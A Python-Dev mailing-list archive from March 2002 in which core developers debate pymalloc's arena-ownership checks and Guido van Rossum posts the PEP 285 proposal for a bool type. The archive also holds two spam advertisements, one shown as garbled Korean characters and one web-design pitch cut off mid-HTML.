Date: Fri, 29 Mar 2002 18:46:28 -0500
Subject: [Python-Dev] pymalloc killer
References: <LNBBLJKPBEHFEDALKOLCAEPJOIAA.tim.one@comcast.net><0fcf01c1d773$71be43b0$0202a8c0@boostconsulting.com> <m3zo0rt0re.fsf@mira.informatik.hu-berlin.de>
Message-ID: <104701c1d77b$f63963b0$0202a8c0@boostconsulting.com>

----- Original Message -----
From: "Martin v. Loewis" <martin@v.loewis.de>


> "David Abrahams" <david.abrahams@rcn.com> writes:
>
> > ...isn't this part just a little too complicated? If I understand
> > correctly, arenas are 4K aligned pages.
>
> No, arenas are 256k areas which are split into 4k pools.
>
> > Given an address, when you find its pool header, you either find a
> > valid arena header that covers all 4K subsequent addresses, or some
> > alien memory. I think you just have to look for the address of the
> > pool header at the appropriate index in the vector. IOW, there
> > should be no need to look at the address you're deallocating after
> > finding its putative arena.
>
> The pool in question and the arena it belongs to may have different
> starting addresses (in 63 of 64 cases, they will be different).
>
> Of course, you could also build the table for pool addresses,
> assigning pool indices - but that would require 64 times as much
> memory.

OK, but I guess my question still holds: can't you just round down to
find a supposed arena address, look up the index, and see if that arena
is in the vector?

-Dave



From martin@v.loewis.de  Fri Mar 29 23:48:07 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 30 Mar 2002 00:48:07 +0100
Subject: [Python-Dev] Refcounting heap types
In-Reply-To: <200203292316.g2TNG6U17133@pcp742651pcs.reston01.va.comcast.net>
References: <m3hemzugs1.fsf@mira.informatik.hu-berlin.de>
 <200203292316.g2TNG6U17133@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <m3u1qzszpk.fsf@mira.informatik.hu-berlin.de>

Guido van Rossum <guido@python.org> writes:

> At the bottom of subtype_dealloc():

Thanks! I didn't realize that every heap type has tp_dealloc ==
subtype_dealloc.

Regards,
Martin


From tim.one@comcast.net  Fri Mar 29 23:55:09 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 29 Mar 2002 18:55:09 -0500
Subject: [Python-Dev] pymalloc killer
In-Reply-To: <0fcf01c1d773$71be43b0$0202a8c0@boostconsulting.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEADOJAA.tim.one@comcast.net>

[Tim]
>> , and see whether B <= p < B + 256KB
>>    (which can again be collapsed into a tricksy one-compare test via
>>    exploiting unsigned arithmetic).

[David Abrahams]
> ...isn't this part just a little too complicated?

I don't think so, but I am making a speed/space tradeoff.

> If I understand correctly, arenas are 4K aligned pages.

Arenas are 256KB chunks with no known alignment.  They're carved into
4KB-aligned pages (also called "pools") of 4KB each.  Some number of the
leading and trailing memory addresses in an arena are sacrificed to get page
alignment in the smaller pieces (pools/pages).  A given pool is in turn
carved into some number of continguous, equal-sized, 8-byte aligned small
blocks.

> Given an address, when you find its pool header, you either find
> a valid arena header that covers all 4K subsequent addresses, or some
> alien memory.

True, after s/arena header/pool header/.

> I think you just have to look for the address of the pool header at the
> appropriate index in the vector.

It would consume too much memory (64x as much -- 2**18/2**12) to keep a
vector of all pool header addresses.  That's why I'm storing arena base
addresses instead.  We can't control or predict anything about the addresses
we get from the system malloc() when allocating arenas, so address
arithmetic tricks can't work to find arena base addresses.



From tim.one@comcast.net  Fri Mar 29 23:59:58 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 29 Mar 2002 18:59:58 -0500
Subject: [Python-Dev] pymalloc killer
In-Reply-To: <m34rizufg9.fsf@mira.informatik.hu-berlin.de>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEAEOJAA.tim.one@comcast.net>

[martin@v.loewis.de]
> This sounds quite good. The only flaw is that you need to trust that
> the machine has paged memory - otherwise, rounding down an arbitrary
> address to a 4k boundary, and then reading a value may cause an access
> violation (or may, say, fetch data from some peripheral device, thus
> starting the coffee machine :-).

pymalloc always relied on that assumption, so that part isn't new.

> For the architectures we care about, this seems to be guaranteed; on
> other architectures, people will need to disable pymalloc.

Either that or buy a reasonable machine <wink>.  A fair number of people
have tried pymalloc by now, and nobody has reported a problem.  I suppose
they may have been lucky, and that feeding PyMem_{FREE, Free, DEL, Del} into
PyMalloc_Free too may greatly strain their luck if so.



From martin@v.loewis.de  Fri Mar 29 23:56:42 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 30 Mar 2002 00:56:42 +0100
Subject: [Python-Dev] pymalloc killer
In-Reply-To: <104701c1d77b$f63963b0$0202a8c0@boostconsulting.com>
References: <LNBBLJKPBEHFEDALKOLCAEPJOIAA.tim.one@comcast.net>
 <0fcf01c1d773$71be43b0$0202a8c0@boostconsulting.com>
 <m3zo0rt0re.fsf@mira.informatik.hu-berlin.de>
 <104701c1d77b$f63963b0$0202a8c0@boostconsulting.com>
Message-ID: <m3ofh7szb9.fsf@mira.informatik.hu-berlin.de>

"David Abrahams" <david.abrahams@rcn.com> writes:

> OK, but I guess my question still holds: can't you just round down to
> find a supposed arena address, look up the index, and see if that arena
> is in the vector?

Arenas are not aligned on 256k boundaries. Instead, they are aligned
on 8-byte boundaries (or whatever else the system malloc returns); the
first up-to-four-k is wasted to align the first pool in the arena.

So to find the arena header when given a pool header, you'd have to
know the index of the pool in the arena, which would be more
complicated than Tim's computation.

Regards,
Martin


From David Abrahams" <david.abrahams@rcn.com  Sat Mar 30 00:03:25 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Fri, 29 Mar 2002 19:03:25 -0500
Subject: [Python-Dev] pymalloc killer
References: <LNBBLJKPBEHFEDALKOLCAEADOJAA.tim.one@comcast.net>
Message-ID: <106801c1d77e$a1cca8c0$0202a8c0@boostconsulting.com>

From: "Tim Peters" <tim.one@comcast.net>
> Arenas are 256KB chunks with no known alignment.  They're carved into
> 4KB-aligned pages (also called "pools") of 4KB each.  Some number of
the
> leading and trailing memory addresses in an arena are sacrificed to
get page
> alignment in the smaller pieces (pools/pages).  A given pool is in
turn
> carved into some number of continguous, equal-sized, 8-byte aligned
small
> blocks.

Okay, 'nuf said. I see why you need to do it that way, now.

-Dave




From tim.one@comcast.net  Sat Mar 30 00:11:13 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 29 Mar 2002 19:11:13 -0500
Subject: [Python-Dev] pymalloc killer
In-Reply-To: <m3zo0rt0re.fsf@mira.informatik.hu-berlin.de>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEAFOJAA.tim.one@comcast.net>

[martin@v.loewis.de]
> ...
> The pool in question and the arena it belongs to may have different
> starting addresses (in 63 of 64 cases, they will be different).

Currently, they always have different addresses, as at least the first 4
bytes of an arena are used to link arenas together.  If we save the arena
base addresses in a vector instead, the link becomes unnecessary (well, it's
not actually *used* for anything now anyway), and then the arena-rounding
logic can be changed so that the first pool can coincide with the arena
start if malloc just happens to return a page-aligned address for the arena
(as the code is now, in that case the entire first page is devoted to
holding s next-arena pointer).

> Of course, you could also build the table for pool addresses,
> assigning pool indices - but that would require 64 times as much
> memory.

Bingo -- I don't want to do that.



From tim.one@comcast.net  Sat Mar 30 00:12:50 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 29 Mar 2002 19:12:50 -0500
Subject: [Python-Dev] pymalloc killer
In-Reply-To: <104701c1d77b$f63963b0$0202a8c0@boostconsulting.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEAGOJAA.tim.one@comcast.net>

[David Abrahams]
> OK, but I guess my question still holds: can't you just round down to
> find a supposed arena address,

No, and this is the point at which you get stuck.  The arena base address is
whatever the heck libc malloc returned when we asked for 256KB.  There's no
way to deduce that from the addresses *within* the arena.

> look up the index, and see if that arena is in the vector?

It would be possible to store both the arena index *and* the arena base
address in each pool header.  Then we could check that

    poolheader* p = pool_address(some_memory_address);
    if (p->arenaindex < narenas &&
        arenas[p->arenaindex] == p->arenabase) {
        it's a pymalloc address
    }
    else {
        it isn't
    }

I like that.  Thanks!





From tim.one@comcast.net  Sat Mar 30 00:19:55 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 29 Mar 2002 19:19:55 -0500
Subject: [Python-Dev] pymalloc killer
In-Reply-To: <LNBBLJKPBEHFEDALKOLCCEAGOJAA.tim.one@comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCGEAHOJAA.tim.one@comcast.net>

[Tim]
> It would be possible to store both the arena index *and* the arena base
> address in each pool header.  Then we could check that
> 
>     poolheader* p = pool_address(some_memory_address);
>     if (p->arenaindex < narenas &&
>         arenas[p->arenaindex] == p->arenabase) {
>         it's a pymalloc address
>     }
>     else {
>         it isn't
>     }
>
> I like that.

No I don't:  I hate that.  It can be tricked.


From tim.one@comcast.net  Sat Mar 30 01:03:02 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 29 Mar 2002 20:03:02 -0500
Subject: [Python-Dev] pymalloc killer
In-Reply-To: <m3u1qzuik3.fsf@mira.informatik.hu-berlin.de>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEAJOJAA.tim.one@comcast.net>

[Tim]
>> Note that I am *not* proposing to change PyMem_{MALLOC, Malloc)

[martin@v.loewis.de]
> I understand that (I think). Neither do I.

I think you have to under this scheme, although I'm not clear on what "the
problem" is you're trying to solve.  I'm trying to cater to allocating via
PyMem_{MALLOC, Malloc} then free'ing via _PyMalloc_Free.  That latter is
because mixing PyObject_New with PyMem_{DEL, FREE, Del, Free} is frequent in
real-life code now.  If Guido is to get his wish that we keep the
PyObject_XXX interface and not introduce a new PyMalloc_XXX object
interface, and I'm to get my wish that we don't break mountains of existing
works-fine code, that means PyObject_XXX *and* PyMem_{DEL, FREE, Del, Free}
have to funnel thru the pymalloc package.  Else existing "get object" and
"free object" mixtures will break.  That in turn means memory allocated by
PyMem_{Malloc, MALLOC, Realloc, REALLOC, Resize, RESIZE, New, NEW} *also*
has to be suitable for feeding into pymalloc's free.  But I'm not proposing
to change PyMem_{Malloc, MALLOC, Realloc, REALLOC, Resize, RESIZE, New, NEW}
at all, meaning they'll continue to call platform malloc() and realloc()
directly without any tricky wrappers.

>> That's the killer.  We have no control over "the system
>> allocator", by which I mean libc's malloc() and realloc().

> We sure do. In _PyMalloc_Malloc, replace the line

This can't affect anything obtained via PyMem_{MALLOC, Malloc}, because they
call the platform malloc() directly.  We don't "wrap" them in any
significant way.

> 	return (void *)PyMem_MALLOC(nbytes);
>
> with
>
>         void **result;
>
>         result = (void**)PyMem_MALLOC(nbytes+8);
>         result[1] = NULL;
> 	return (result+2);

Yes, _PyMalloc_Malloc can do anything at all, but PyMem_{MALLOC, Malloc}
don't go thru this code.

> Likewise, replace
>
> 	offset = (off_t )p & POOL_SIZE_MASK;
> 	pool = (poolp )((block *)p - offset);
> 	if (pool->pooladdr != pool || pool->magic != (uint )POOL_MAGIC) {
> 		PyMem_FREE(p);
> 		return;
> 	}
>
> with
>
>         void **block = (void**)p;
>         if(block[-1] == NULL){
> 		PyMem_FREE(block-2);
> 		return;
> 	}

Something allocated via PyMem_{MALLOC, Malloc} that goes through this code
will read random gibberish (or carefully constructed hostile gibberish) at
block[-1].  So it's not safe for what I'm trying to accomplish.

>> As above, trying to hijack them is unattractive due to thread
>> issues, even for just the PyMem_{Malloc, MALLOC, Realloc, REALLOC,
>> New, NEW, Resize, RESIZE} spellings.

> I can't see how this approach would add thread issues.

That's because it seems you're not trying to make PyMem_{MALLOC, Malloc}
safe for mixed use at all.  If you did, I suppose they could funnel through
a wrapper other than _PyMalloc_Malloc (at the cost of other complications).

>> *If* we take over the system malloc, we need also to mimic the platform
>> malloc's alignment.

> I'm not sure what you mean by "take over".

I mean stop PyMem_XXX from calling platform malloc/realloc/free directly, so
that they can be made safe for mixing with _PyMalloc_Free.

> It will still be used as an allocator for arenas, and for large requests.

> ...
> Indeed, this approach might be slightly more expensive. In return, it
> is safe and (time-)efficient.

It's safe under some set of assumptions I'm not sure about, but not safe
enough under the assumptions I am sure about <wink>.

>> Primarily that hijacking the system malloc is fraught with new
>> difficulties.

> That might be, but I'm not proposing this (or I don't understand the
> work "hijacking").

It means "take over" <wink>.  If a scheme can't handle free'ing memory
safely when that memory was returned directly from the platform
malloc/realloc, it can't handle the sum of the things Guido and I want here
(he's keener to preserve PyObject_XXX; I'm keener not to break existing
code, even code that doesn't play by what some subset of Python-Dev'vers
thinks might be "the rules").

> ...
> That safe-guard isn't needed, IMO. Returning memory allocated directly
> through malloc (and not via _PyMalloc_Malloc) to _PyMalloc_Free is
> clearly a bug,

Then you either have to change PyMem_{Malloc, MALLOC, etc etc etc} too, or
you have to tell extension authors that every extension type they wrote for
1.5.2 will now fail in horrible ways (data-dependent and intermittent
segfaults, data corruption, etc), and tell users that every "old" extension
they pick up on the web may suffer such problems too even if it compiles
cleanly for 2.3.

> and there are more efficient ways to detect this kind of bug (like your
> pymalloc debug mechanism). In addition, there are so many other kinds of
> bugs that this doesn't protect against (like not taking the GC header
> into account when releasing memory) that this alone isn't convincing.

The difference is that I don't consider mixing PyObject_XXX with PyMem_XXX
to be "a bug".  In 1.5.2 such mixing was necessary, and still works fine in
2.2.  I worry about extension authors who *do* bother to fix code that works
fine <wink>.



From guido@python.org  Sat Mar 30 01:10:53 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 29 Mar 2002 20:10:53 -0500
Subject: [Python-Dev] pymalloc killer
In-Reply-To: Your message of "Fri, 29 Mar 2002 18:21:57 EST."
 <LNBBLJKPBEHFEDALKOLCOEPPOIAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCOEPPOIAA.tim.one@comcast.net>
Message-ID: <200203300110.g2U1Arm17301@pcp742651pcs.reston01.va.comcast.net>

[Tim]
> This is the kind of heroic effort I don't want to impose on users:
> you have encyclopedic knowledge of how the Python implementation may
> be abusing this stuff, and you *invented* the rules <wink>.  Random
> extension authors are going to have a much harder time of it -- as
> far as they're concerned, PyMem_{DEL, FREE, Del, Free} are all just
> ways to spell "platform free(), but I'm not supposed to call free()
> directly for some reason I don't understand -- I think it might have
> had something to do with DLLs on Windows".

On the other hand, the less sophisticated extension writers never
release the GIL at all.

[me]
> > Given the alternatives:
> >
> > 1. introduce new APIs PyMalloc_{New,Del}Object and tell all extension
> >    writers that they have to changes their extensions once again to
> >    use these brand new APIs if they want to benefit from pymalloc; or
> >
> > 2. fix the issues with PyOS_Readline, make PyMem_{DEL,FREE,Del,Free}
> >    synonyms for Tim's clever PyMem_NukeIt, and continue to promote
> >    using PyObject_{New,Del} for use by extension writers;
> >
> > I'm all for #2.
> 
> You're presenting #1 as user-hostile and #2 as user-friendly.  But
> if part of #2 is also saying that it's now definitely illegal to
> call PyMem_{Free, FREE, Del, DEL} without holding the GIL, and
> horrible things may start to happen in 2.3 if you're doing so, then
> it's also user-hostile in that respect.  #1 is user-friendly in the
> "nothing breaks" sense.  I haven't given up on combining the best of
> both, but I am getting close <wink>.

All I can do is encourage you to keep trying.  I find it quite
encouraging that you found a constant-time test for non-arena memory
at all.  Making it thread-safe should only add a tiny constant time.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From slrlfl2000@yahoo.co.kr  Sat Mar 30 04:31:48 2002
From: slrlfl2000@yahoo.co.kr (slrlfl2000)
Date: Sat, 30 Mar 2002 13:31:48 +0900
Subject: [Python-Dev] [±¤°í] Á¾·®Á¦ ºÀÅõ Àý¾àÇü ¾ÐÃྲ·¹±âÅë ¼Ò°³
Message-ID: <E16rAaF-00068K-00@mail.python.org>

<html>
<body bgcolor=white>
<p align=center><a href="http://www.softface.co.kr/magichome.htm" target="_blank"><img src="http://www.dic4u.com/images2/magicpower.gif" width="675" height="1023" border=0></a><br><br>&nbsp;</p>
<table border="0" align="center">
<tr>
<td>
<p style="LINE-HEIGHT: 120%"><span style="FONT-SIZE: 9pt">¢¹&nbsp;¿øÄ¡¾ÊÀº Á¤º¸¿´´Ù¸é Á¤ÁßÈ÷ »ç°ú µå¸®¸ç, ¼ö½Å °ÅºÎ¸¦ ÇØÁÖ½Ã¸é ´ÙÀ½ºÎÅÍ´Â ¸ÞÀÏÀÌ ¹ß¼ÛµÇÁö ¾ÊÀ» °ÍÀÔ´Ï´Ù.<br>¢¹&nbsp;¸ÞÀÏŬ¶óÀ̾ðÆ®ÀÇ ÇÊÅÍ ±â´ÉÀ» ÀÌ¿ëÇÏ¿© [±¤°í] ¹®±¸¸¦ ÇÊÅ͸µÇÏ¸é ¸ðµç ±¤°í ¸ÞÀÏÀ» ÀÚµ¿À¸·Î Â÷´ÜÇÏ½Ç ¼ö ÀÖ½À´Ï´Ù.</span></p>
</td>
</tr>
<tr>
<td align="center"><a href="http://www.softface.co.kr/unsub.asp?flag=magicpower&email=python-dev@python.org"><span style="font-size:9pt;">¼ö½Å°ÅºÎ(Unsubscribe)</span></a></td>
</tr>
</table>
</body>
</html>


From guido@python.org  Sat Mar 30 05:39:10 2002
From: guido@python.org (Guido van Rossum)
Date: Sat, 30 Mar 2002 00:39:10 -0500
Subject: [Python-Dev] PEP 285: Adding a bool type
Message-ID: <200203300539.g2U5dAR17743@pcp742651pcs.reston01.va.comcast.net>

I offer the following PEP for review by the community.  If it receives
a favorable response, it will be implemented in Python 2.3.

A long discussion has already been held in python-dev about this PEP;
most things you could bring up have already been brought up there.
The head of the thread there is:

    http://mail.python.org/pipermail/python-dev/2002-March/020750.html

I believe that the review questions listed near the beginning of the
PEP are the main unresolved issues from that discussion.

This PEP is also on the web, of course, at:

    http://python.org/peps/pep-0285.html

If you prefer to look at code, here's a reasonably complete
implementation (in C; it may be slightly out of date relative to the
current CVS):

    http://python.org/sf/528022

--Guido van Rossum (home page: http://www.python.org/~guido/)

PEP: 285
Title: Adding a bool type
Version: $Revision: 1.12 $
Last-Modified: $Date: 2002/03/30 05:37:02 $
Author: guido@python.org (Guido van Rossum)
Status: Draft
Type: Standards Track
Created: 8-Mar-2002
Python-Version: 2.3
Post-History: 8-Mar-2002, 30-Mar-2002


Abstract

    This PEP proposes the introduction of a new built-in type, bool,
    with two constants, False and True.  The bool type would be a
    straightforward subtype (in C) of the int type, and the values
    False and True would behave like 0 and 1 in most respects (for
    example, False==0 and True==1 would be true) except repr() and
    str().  All built-in operations that conceptually return a Boolean
    result will be changed to return False or True instead of 0 or 1;
    for example, comparisons, the "not" operator, and predicates like
    isinstance().


Review

    Dear reviewers:

    I'm particularly interested in hearing your opinion about the
    following three issues:

    1) Should this PEP be accepted at all.

    2) Should str(True) return "True" or "1": "1" might reduce
       backwards compatibility problems, but looks strange to me.
       (repr(True) would always return "True".)

    3) Should the constants be called 'True' and 'False'
       (corresponding to None) or 'true' and 'false' (as in C++, Java
       and C99).

    Most other details of the proposal are pretty much forced by the
    backwards compatibility requirement; e.g. True == 1 and
    True+1 == 2 must hold, else reams of existing code would break.

    Minor additional issues:

    4) Should we strive to eliminate non-Boolean operations on bools
       in the future, through suitable warnings, so that e.g. True+1
       would eventually (e.g. in Python 3000 be illegal).  Personally,
       I think we shouldn't; 28+isleap(y) seems totally reasonable to
       me.

    5) Should operator.truth(x) return an int or a bool.  Tim Peters
       believes it should return an int because it's been documented
       as such.  I think it should return a bool; most other standard
       predicates (e.g. issubtype()) have also been documented as
       returning 0 or 1, and it's obvious that we want to change those
       to return a bool.


Rationale

    Most languages eventually grow a Boolean type; even C99 (the new
    and improved C standard, not yet widely adopted) has one.

    Many programmers apparently feel the need for a Boolean type; most
    Python documentation contains a bit of an apology for the absence
    of a Boolean type.  I've seen lots of modules that defined
    constants "False=0" and "True=1" (or similar) at the top and used
    those.  The problem with this is that everybody does it
    differently.  For example, should you use "FALSE", "false",
    "False", "F" or even "f"?  And should false be the value zero or
    None, or perhaps a truth value of a different type that will print
    as "true" or "false"?  Adding a standard bool type to the language
    resolves those issues.

    Some external libraries (like databases and RPC packages) need to
    be able to distinguish between Boolean and integral values, and
    while it's usually possible to craft a solution, it would be
    easier if the language offered a standard Boolean type.

    The standard bool type can also serve as a way to force a value to
    be interpreted as a Boolean, which can be used to normalize
    Boolean values.  Writing bool(x) is much clearer than "not not x"
    and much more concise than

        if x:
            return 1
        else:
            return 0

    Here are some arguments derived from teaching Python.  When
    showing people comparison operators etc. in the interactive shell,
    I think this is a bit ugly:

        >>> a = 13
        >>> b = 12
        >>> a > b
        1
        >>>

    If this was:

        >>> a > b
        True
        >>>

    it would require one millisecond less thinking each time a 0 or 1
    was printed.

    There's also the issue (which I've seen puzzling even experienced
    Pythonistas who had been away from the language for a while) that if
    you see:

        >>> cmp(a, b)
        1
        >>> cmp(a, a)
        0
        >>> 

    you might be tempted to believe that cmp() also returned a truth
    value.  If ints are not (normally) used for Booleans results, this
    would stand out much more clearly as something completely
    different.


Specification

    The following Python code specifies most of the properties of the
    new type:

        class bool(int):

            def __new__(cls, val=0):
                # This constructor always returns an existing instance
                if val:
                    return True
                else:
                    return False

            def __repr__(self):
                if self:
                    return "True"
                else:
                    return "False"

            __str__ = __repr__

            def __and__(self, other):
                if isinstance(other, bool):
                    return bool(int(self) & int(other))
                else:
                    return int.__and__(self, other)

            __rand__ = __and__

            def __or__(self, other):
                if isinstance(other, bool):
                    return bool(int(self) | int(other))
                else:
                    return int.__or__(self, other)

            __ror__ = __or__

            def __xor__(self, other):
                if isinstance(other, bool):
                    return bool(int(self) ^ int(other))
                else:
                    return int.__xor__(self, other)

            __rxor__ = __xor__

        # Bootstrap truth values through sheer willpower
        False = int.__new__(bool, 0)
        True = int.__new__(bool, 1)

    The values False and True will be singletons, like None; the C
    implementation will not allow other instances of bool to be
    created.  At the C level, the existing globals Py_False and
    Py_True will be appropriated to refer to False and True.

    All built-in operations that are defined to return a Boolean
    result will be changed to return False or True instead of 0 or 1.
    In particular, this affects comparisons (<, <=, ==, !=, >, >=, is,
    is not, in, not in), the unary operator 'not', the built-in
    functions callable(), hasattr(), isinstance() and issubclass(),
    the dict method has_key(), the string and unicode methods
    endswith(), isalnum(), isalpha(), isdigit(), islower(), isspace(),
    istitle(), isupper(), and startswith(), the unicode methods
    isdecimal() and isnumeric(), and the 'closed' attribute of file
    objects.

    Note that subclassing from int means that True+1 is valid and
    equals 2, and so on.  This is important for backwards
    compatibility: because comparisons and so on currently return
    integer values, there's no way of telling what uses existing
    applications make of these values.


Compatibility

    Because of backwards compatibility, the bool type lacks many
    properties that some would like to see.  For example, arithmetic
    operations with one or two bool arguments is allowed, treating
    False as 0 and True as 1.  Also, a bool may be used as a sequence
    index.

    I don't see this as a problem, and I don't want evolve the
    language in this direction either; I don't believe that a stricter
    interpretation of "Booleanness" makes the language any clearer.

    Another consequence of the compatibility requirement is that the
    expression "True and 6" has the value 6, and similarly the
    expression "False or None" has the value None.  The "and" and "or"
    operators are usefully defined to return the first argument that
    determines the outcome, and this won't change; in particular, they
    don't force the outcome to be a bool.  Of course, if both
    arguments are bools, the outcome is always a bool.  It can also
    easily be coerced into being a bool by writing for example
    "bool(x and y)".


Issues

    Because the repr() or str() of a bool value is different from an
    int value, some code (for example doctest-based unit tests, and
    possibly database code that relies on things like "%s" % truth)
    may fail.  How much of a backwards compatibility problem this will
    be, I don't know.  If we this turns out to be a real problem, we
    could changes the rules so that str() of a bool returns "0" or
    "1", while repr() of a bool still returns "False" or "True".

    Other languages (C99, C++, Java) name the constants "false" and
    "true", in all lowercase.  In Python, I prefer to stick with the
    example set by the existing built-in constants, which all use
    CapitalizedWords: None, Ellipsis, NotImplemented (as well as all
    built-in exceptions).  Python's built-in module uses all lowercase
    for functions and types only.  But I'm willing to consider the
    lowercase alternatives if enough people think it looks better.

    It has been suggested that, in order to satisfy user expectations,
    for every x that is considered true in a Boolean context, the
    expression x == True should be true, and likewise if x is
    considered false, x == False should be true.  This is of course
    impossible; it would mean that e.g. 6 == True and 7 == True, from
    which one could infer 6 == 7.  Similarly, [] == False == None
    would be true, and one could infer [] == None, which is not the
    case.  I'm not sure where this suggestion came from; it was made
    several times during the first review period.  For truth testing
    of a value, one should use "if", e.g. "if x: print 'Yes'", not
    comparison to a truth value; "if x == True: print 'Yes'" is not
    only wrong, it is also strangely redundant.


Implementation

    An experimental, but fairly complete implementation in C has been
    uploaded to the SourceForge patch manager:

    http://python.org/sf/528022


Copyright

    This document has been placed in the public domain.



Local Variables:
mode: indented-text
indent-tabs-mode: nil
fill-column: 70
End:


From martin@v.loewis.de  Sat Mar 30 07:58:28 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 30 Mar 2002 08:58:28 +0100
Subject: [Python-Dev] pymalloc killer
In-Reply-To: <LNBBLJKPBEHFEDALKOLCCEAJOJAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCCEAJOJAA.tim.one@comcast.net>
Message-ID: <m3eli2zduj.fsf@mira.informatik.hu-berlin.de>

Tim Peters <tim.one@comcast.net> writes:

> I think you have to under this scheme, although I'm not clear on what "the
> problem" is you're trying to solve.  I'm trying to cater to allocating via
> PyMem_{MALLOC, Malloc} then free'ing via _PyMalloc_Free.

Is *that* the motivation? I thought you were trying to accommodate
your killer.py where Python code can trick pymalloc into believing
that it owned the memory which it actually had allocated by forwarding
to system malloc (see the subject).

Regards,
Martin



From til1li.iili1i1li1_il@email.it  Sat Mar 30 08:02:41 2002
From: til1li.iili1i1li1_il@email.it (til1li.iili1i1li1_il@email.it)
Date: Sat, 30 Mar 2002 03:02:41 -0500
Subject: [Python-Dev] When will your website be finished?
Message-ID: <E16rDph-0001ro-00@mail.python.org>

This is a multi-part message in MIME format.

------_NextPart_0191284436
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: QUOTED-PRINTABLE

Get a beautiful, 100%

Custom Web site

or redesign your


existing site.


Only $399!*






Call now and schedule a walk through
with a Web design specialist.
404-806-6124



Includes up to 7 pages (you can add more), plus a Guestbook and a Bulletin
Board. Java rollover buttons, Feedback forms, Pushbutton E-Commerce
Activation and more. It will be constructed to your taste and specifications in only
five days. We do not use templates,  our sites are completely custom.

*Must host with us for $15.96 a month. You get: 200 Megs, 100 E-mail accounts,
Control Panel, Front Page, Graphical Statistics, more!
Act now and get one FREE .com domain name!

To discuss your Web site, call 404-806-6124
and schedule a call back now.



------_NextPart_0191284436
Content-Type: text/html; charset="ISO-8859-1"
Content-Transfer-Encoding: QUOTED-PRINTABLE

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>Beautiful,Custom Websites for $399 Complete!</TITLE>
</HEAD>
<BODY text=3D#000000 vLink=3D#000080 aLink=3D#000080 link=3D#000080 bgColor=3D#000080 
topMargin=3D7>
<div align=3D"center">
    <TABLE borderColor=3D#000000 height=3D669 cellSpacing=3D0 cellPadding=3D3 width=3D564 
bgColor=3D#990000 border=3D1>
       
      <TR>
        <TD width=3D554 bgColor=3D#990000 height=3D22> 
          <P align=3Dcenter><font color=3D"#ffffff" size=3D5 
     ><STRONG>We build GREAT LOOKING 
      websites!</STRONG> 
                </font></P>
        </TD>
      </TR>
  <TR>
        <TD vAlign=3Dtop width=3D554 height=3D0>
            <TABLE style=3D"WIDTH: 555px" height=3D654 cellSpacing=3D0 
      cellPadding=3D0 width=3D"539" border=3D0>
               
              <TR>
                <TD width=3D"0" height=3D0 valign=3D"top">
            <TABLE borderColor=3D#000000 height=3D5 cellSpacing=3D0 cellPadding=3D5 
            width=3D554 bgColor=3D#ffffff border=3D1>
              
              <TR>
                        <TD vAlign=3Dtop width=3D0 height=3D0> 
                          <TABLE height=3D439 width=3D"529" border=3D0 style=3D"HEIGHT: 439px; WIDTH: 529px">
                            <FONT color=3D#ff0000> </FONT>
                    <TBODY> 
                            <TR><FONT color=3D#ff0000>
                              <TD width=3D"314" height=3D299 valign=3D"top"><P align=3Dleft><font color=3D#ff0000><font color=3D#ff0000></font></font><font face=3D"Arial" 
                       ><FONT color=3D#ff0000 
                        size=3D6><STRONG>STOP toiling over that Website that just 
                        never gets finished!</STRONG></FONT></font></P>
                        <P align=3Dleft><FONT color=3D#ff0000><FONT face=3DArial 
                        color=3D#ff0000><FONT color=3D#000080><STRONG><FONT 
                        color=3D#000000><FONT 
                        style=3D"BACKGROUND-COLOR: #ff0000" color=3D#0000ff 
                       ><FONT size=3D4><FONT 
                        color=3D#800040>Trade the headaches for this:</FONT>   
                         <BR></FONT></FONT><FONT 
                        style=3D"BACKGROUND-COLOR: #ffff00" size=3D4>7 GREAT looking 
                        pages<BR>Flashy "Roll Over" buttons<BR>Professional 
                        Graphics<BR>15 Pictures<BR>Feedback&nbsp; Forms<BR>Guest 
                        book<BR>Bulletin Board<BR>Chat Room<BR>Unlimited Email 
                        Accounts<BR>Website Visitor Statistics<BR>Toll Free 
                        Support and more.<BR></FONT><FONT 
                        style=3D"BACKGROUND-COLOR: #ff0000"><FONT size=3D4><FONT 
                        color=3D#0000ff>Online and on CD&nbsp;in just 5 
                        days.</FONT>   
                           
                        <BR></FONT></FONT></FONT></STRONG></FONT></FONT></FONT><font face=3D"Arial" color=3D"#ff0000" size=3D"3"></P>
                              </FONT>
                        </TD></FONT>
                              <TD vAlign=3Dtop width=3D"205" height=3D299><P align=3Dcenter><font face=3D"Arial"><font color=3D"#004080" size=3D4 
                       ><STRONG>Professional Website 
                        Production only $399.00<BR><BR><FONT 
                        color=3D#000000>Order today and 
                        get<BR></FONT></STRONG>
                                  </font></font><FONT 
                        face=3DArial size=3D4><STRONG><FONT color=3D#0000ff>FREE 
                        <BR></FONT><FONT color=3D#000000><FONT 
                        color=3D#0000ff>HOSTING</FONT> for<BR> 1 Full 
                        Year<BR></FONT><FONT color=3D#004080><FONT 
                        color=3D#0000ff>and FREE copy on CD!</FONT>
                        <HR id=3Dundefined align=3Dcenter>
                        </FONT></STRONG><FONT color=3D#0000ff><STRONG><FONT 
                        face=3DArial><STRONG><FONT color=3D#0000ff size=3D5><FONT 
                        size=3D3><FONT color=3D#000000 size=3D2>Call Toll Free <FONT 
